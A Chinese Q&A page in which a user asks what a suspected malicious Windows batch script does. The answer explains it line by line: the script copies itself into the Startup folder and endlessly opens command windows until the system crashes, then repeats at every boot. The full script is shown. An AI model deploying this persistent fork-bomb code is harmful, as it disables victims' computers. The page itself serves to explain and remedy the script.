dos 和 批处理高手:帮我解释一下这个批处理

来源:百度知道 编辑:UC知道 时间:2024/05/02 11:44:06
这好像是个恶意的批处理程序,是从其他地方拷贝过来的,没有恶意,只是出于对计算机的热爱,想研究一下。知道的,给我说说这是什么意思,越详细越好

@echo off
:a
copy %0 "%userprofile%\「开始」菜单\程序\启动"
for /l %%i in (1,1,999999999999999999999) do start cmd
goto a

:a
goto循环标识点

copy %0 "%userprofile%\「开始」菜单\程序\启动"
执行某批处理 将此批处理本身复制到C:\Documents and Settings\Administrator\「开始」菜单\程序\启动

for /l %%i in (1,1,999999999999999999999) do start cmd
循环语句。/l,参数表示循环一次加上n,n指后面(a,b,c)中间的数字,此处为1.(a,b,c),a为循环起始点,b为循环增量,c为循环终止点。do start cmd,打开命令行。整句话是说打开999999999999999999999个命令行界面。估计没人能打开那么多,早就死机了。

goto a
回到标示点a:,执行以后程序。这个goto语句没有终止。

全部意思为,当执行这个批处理后:1,会将批处理加入开机自启动程序;2,打开无数个命令行,直至内存不够而死机;3,死机后再开机,但是开机就自动运行了批处理,再次死机,甚至可能都进不了桌面。

这个小批处理并没有很大的恶意性。解决办法是进入安全模式,或者用dos启动系统后修改。